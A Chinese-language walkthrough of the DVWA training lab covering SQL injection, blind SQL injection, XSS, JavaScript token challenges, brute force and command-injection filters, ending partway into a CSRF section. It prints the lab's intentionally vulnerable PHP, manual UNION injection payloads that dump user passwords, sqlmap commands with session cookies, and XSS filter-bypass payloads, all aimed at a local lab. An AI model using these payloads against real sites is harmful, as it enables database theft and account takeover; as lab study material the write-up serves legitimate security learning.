这里要用到sql的基本知识,在此就不多做赘述,具体可查询sql教程
一、手注
手工注入抽象来讲,分为两步:
找注入点(在哪里注入)
构造注入内容(如何注入)
1、查看源码
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
服务器端的low.php并没有对客户输入的id进行任何检查与过滤,直接将SQL语句的执行结果显示给客户端
2、判断闭合方式
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
发现报错,再结合源码可判断是单引号闭合
3、爆破
<1>猜字段
为什么要猜字段呢?因为想要爆库要通过Union查询,先来了解一下Union查询吧
在大多数开发中,使用一条SELECT查询就会返回一个结果集。如果,我们想一次性查询多条SQL语句,并将每一条SELECT查询的结果合并成一个结果集返回。就需要用到Union操作符,将多个SELECT语句组合起来,这种查询被称为并(Union)或者复合查询。
就像命令注入中的;&这类连接符,命令注入用到了连接符(或者管道符);异曲同工,SQL注入也利用了“连接符”(Union联合查询)。
那union查询有哪些特性呢?
1.Union必须由两条或者两条以上的SELECT语句组成,语句之间使用Union链接。
2.Union中的每个查询必须包含相同的列、表达式或者聚合函数,他们出现的顺序可以不一致(这里指查询字段相同,表不一定一样)
3.列的数据类型必须兼容,兼容的含义是必须是数据库可以隐含的转换他们的类型
4、只有当前一条语句不成立时才会执行后一条
而order by x 可以从1开始,1 表示的第一个字段,2表示的第二个字段
如此类推就可以了,但是当不存在那个字段的时候,就会产生这样的错误。
unknown column name x,这样,字段数就是x-1。
当我们输入
1' order by 3#
但是当我把3改成2时
回显正常,说明有两列
<2>判断回显位置
-1' union select 1,2#
<3>爆破数据库、表、列以及字段
-1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() #
在这个数据库中有两张表,分别是uesr
和guestbook
<4>爆列名
-1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' #
在users这张表中存储着用户名和密码。
<5>爆字段
-1' union select user,password from users#
二、SQLMAP
手注太过麻烦,我们可以使用sqlmap自动注入。
这里要用到sqlmap基本知识,详细可见sqlmap基本应用。
1、爆破数据库
python sqlmap.py -u 127.0.0.1/sqli/less-1/?id=1 -cookie="PHPSESSID=7o9isebq9u4s8h7p4l5kjlssb0" -batch -dbs
结果如下:
2、爆破表名
python sqlmap.py -u 127.0.0.1/sqli/less-1/?id=1 -cookie="PHPSESSID=7o9isebq9u4s8h7p4l5kjlssb0" -batch -D "dvwa" -tables
结果如下
由此可见,在这个数据库中有两张表分别是users和guestbook。
3、爆破列名
python sqlmap.py -u 127.0.0.1/sqli/less-1/?id=1 -cookie="PHPSESSID=7o9isebq9u4s8h7p4l5kjlssb0" -batch -D "dvwa" -T "users" -columns
结果如下
至此爆破完成
一、手注
1、查看源码
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
发现传参方式是POST,而且对于参数id其闭合方式为**$id**
2、爆破
打开题目,发现与上一题不同
我们可以尝试抓包,然后利用Repeater模块回显
<1>判断注入方式id=1 and 1=1--+ &Submit=Submit
id=1 and 1=2--+ &Submit=Submit
发现 and 1=1 与 and 1=2 回显有差异,说明是数字型注入。
<2>判断列数
1' order by 2#
其余步骤与LOW一致,在此就不多做赘述。
二、SQLMAP
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1" -data "id=1&Submit=Submit" -cookie "security=medium; PHPSESSID=9n1dgih83e4s6fq00t1kgv9au6" -dbs -batch
因为这里是HTTP传参方式是POST,所以需要data参数
一、手注
1、查看源码
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
没有对传参进行限制,但是limit 1
进行限制,说明扫出一个结果就不向下扫描了,只输出一个结果。
2、爆破
<1>判断注入方式1'
报错,加上#
,回显正常,字符型注入,使用单引号闭合
2、爆破列数1' order by 2#
其余步骤与之前一致,在此就不多做赘述。
二、SQLMAP
本题利用页面跳转防止自动化注入,需要利用二阶注入。playload如下
python sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/session-input.php#" -data "id=1&Submit=Submit" -cookie "security=high; PHPSESSID=tg91k1cvbreprkeuq27t8cbff6" --second-url "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/" -dbs -batch
其中second-url后面的就是页面跳转前的url
成功爆破,其余步骤如上
查看源码
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,一方面:Impossible级别的代码采用了PDO
技术,进行了模拟预编译,划清了代码与数据的界限(bindParam),有效防御SQL注入;另一方面:只有返回的查询结果数量为1时,才会成功输出,这样就有效预防了脱库,Anti-CSRFtoken机制的加入了进一步提高了安全性。
一、查看源码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
发现没有任何过滤。
二、步骤
直接在输入框输入playload:
<script>alert(1)</script>
出现弹窗本题得解
一、查看源码
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
对<script>
标签进行了过滤
二、步骤
<1>可以利用大小写绕过
playload:<Scipt>alert(1)</Script>
<2>可以双写绕过<scr<script>ipt>alert(/xss/)</script>
查看源码
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
preg_replace这个函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。<img src=1 onerror=alert(1)>
查看源码
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
htmlspecialchars函数把预定义的字符转换为HTML实体,可以防止XSS。
一、查源码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
二、解题
发现没有任何过滤,直接在message框输入,playload如下
<script>alert(1)</script>
结束
一、查看源码
<?php
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
?>
二、解题
本题对<script>
标签做了限制,大小写绕过,playload如下
<Script>alert(1)</Script>
一、查看源码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
对<script>
标签做了过滤,但是忽略了其他危险标签,可以使用iframe、img标签,playload如下:<img src=1 onerror=alert(/name/)>
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
对name和message都进行了htmlspecialchars过滤,防止了xss攻击。
一、查看源码
<?php
$page[ 'body' ] .= <<<EOF
<script>
/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/
!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);
function rot13(inp) {
return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
}
function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}
generate_token();
</script>
EOF;
?>
二、解题
打开后让我们输入success,输入后发现
提示token不正确,查看源码发现token在generate_token函数中进行了md5(rot13(phrase))加密,利用开发者工具中的控制台
然后修改token的值,完成。
一、查看源码
<?php
$page[ 'body' ] .= <<<EOF
<script src="/DVWA/vulnerabilities/javascript/source/medium.js"></script>
EOF;
?>
发现token在/DVWA/vulnerabilities/javascript/source/medium.js
下,打开这个网址,
function do_something(e)
{
for(var t = "", n = e.length - 1; n >=0; n--)
t += e[n];
return t
}
setTimeout(function()
{
do_elsesomething("XX")
},300);
function do_elsesomething(e)
{
document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX")
}
直接在控制台运行do_elsesomething("XX")函数,然后注入success,本题即可得解。
一、查看源码
<?php
$page[ 'body' ] .= <<<EOF
<script src="/vulnerabilities/javascript/source/high.js"></script>
EOF;
?>
发现其指向/vulnerabilities/javascript/source/high.js
,打开后发现是js混淆,可对其进行还原,利用还原工具。
二、还原后重要代码如下
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);
由此可知,token是由三部分组成,分别为token_part_1、token_part_2以及token_part_3,由于执行 token_part_2("XX") 有 300 毫秒延时,所以 token_part_1("ABCD", 44) 会被先执行,而 token_part_3() 则是和提交按钮的 click 事件一起执行。
三、解题方法
先在输入框输入success,依次执行 token_part_1("ABCD", 44) 和 token_part_2("XX"),最后点击提交执行 token_part_3()。
本题得解
当然也可以使用这种方法
查看源码,发现没有源码,再打开界面
不相信任何来源,无解。
二、SQLMAP
python sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -cookie "security_level=0; PHPSESSID=jgmgfp1b13u3o0kqadfpr66s26; security=low;id=1" -batch -dbs
二、SQLMAP
python sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/" -data "id=1&Submit=Submit" -cookie "id=1;security_level=0; PHPSESSID=jgmgfp1b13u3o0kqadfpr66s26; security=medium" -batch -dbs
二、SQLMAP
利用sqlmap
求解,playload如下
python sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/cookie-input.php#" --second-url "http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie "id=1;security_level=0; PHPSESSID=hh5ep6usfj1h22ll3dhfs1kd93;security=high" -batch -dbs
其余步骤不再多做赘述。
一、查看源码
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看出,impossible prepare 和 PDO 防御SQL,注入,同时加入了token验证机制,进一步提高其安全性
一、查看源码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
二、解题
可以利用暴力破解
1、抓包
2、发送给Intruder模块
3、选择playload
4、成功爆破
在这一关中源码添加了mysql_real_escape_string
函数,这个函数会对字符串中的特殊子符进行转义,把其中的字符串给过滤掉了,基本上能够抵御sql注入,但不影响暴力破解。
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
查看源码可知,对其进行了token认证,我们可以利用burpsuite记录token。
1、抓包设置要爆破的点
2、在playload中设置第一个爆破点,也就是password
3、设置第二个
<1>重定向设置为总是
<2>记录token的值并添加
<3>选择递归搜索并将token值复制到第一个请求的初始有效负载
然后爆破即可。
<?php
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
echo "<img src=\"{$avatar}\" />";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,impossible级别在 high 的基础上对用户的登录次数有所限制,当用户登录失败达到3次,将会锁住账号15秒,同时采用了更为安全的PDO
(PHP Data Object)机制防御sql注入,这里因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。
一、查看源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
没有任何防御
二、解题
1、尝试ping
可以ping通
2、查看ip信息
一、查看源码
$substitutions = array(
'&&' => '',
';' => '',
);
我们可以看到过滤了&&和;,可以使用管道符|
二、解题步骤
一、查看源码
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
发现过滤了很多,但是可以发现管道符后有个空格
二、解题
查看源码
<?php
// 以 . 作为分割符 分割target为4个字段
$octet = explode( ".", $target );
// 检测分割后的4个字段,是否都为数字型
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
//如果4个字段都是数字型,还原target 变量
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
}
else {
// 提示 输入为无效
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
?>
这种类似于白名单的过滤方式,相较于黑名单过滤更加彻底。
对于csrf的基础知识大家可以看从0到1学习csrf
一、查看源码
发现是以GET的方式修改密码,可以修改URL
二、解题步骤
1、打开题目,修改密码
